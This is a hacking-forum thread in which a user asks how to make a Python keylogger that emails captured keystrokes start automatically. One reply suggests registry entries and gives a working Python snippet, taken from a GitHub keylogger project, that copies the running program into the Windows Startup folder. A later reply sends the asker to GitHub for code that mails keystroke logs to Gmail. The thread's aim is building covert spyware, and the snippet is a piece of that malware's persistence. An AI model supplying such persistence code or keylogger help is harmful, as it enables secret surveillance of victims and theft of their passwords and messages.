Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Python 

How to make a python email sending keylogger permenant?

How to make a python email sending keylogger permenant?
(Mar 10, 2018 10:44 AM)DrollBeack18100 Wrote:  How to make a python email sending keylogger permenant?

Have you tried googling it? Add it to the registry is one example you can do.
Or copy the file to startup
Code
   def CopyItselfToStartup(self):
       desired_file = ProcessCmd("echo %USERPROFILE%").replace("\\", "/") + "/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/" + os.path.basename(sys.argv[0])
       if not os.path.isfile(desired_file):
           with open(os.path.basename(sys.argv[0]), "rb") as base_f, open(desired_file, "wb") as new_f:
               new_f.write(base_f.read())
if self.debug: print "Copied itself to startup"
Code part from: https://github.com/michalmonday/keyLogge...ce/keys.py

Also there was an example of keylogger or reverse shell script which wrote to registry, idk what it was called but it's somewhere in the Python section of this forum
I mean anyone have a code that catchs keyboard logs then it sends it to gmail?
You can easily find one on github I guess.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Python] by Bass_ReevesAug 20, 2023 01:44 AM 9 632 Aug 20, 2023 01:44 AM
Last Post: Lucky4L
[Python] by SIM-4378207Mar 19, 2020 12:15 PM 2 135 Mar 19, 2020 12:15 PM
Last Post: SIM-4378207
[Python] by g-ezOct 1, 2018 07:39 AM 5 263 Oct 1, 2018 07:39 AM
Last Post: g-ez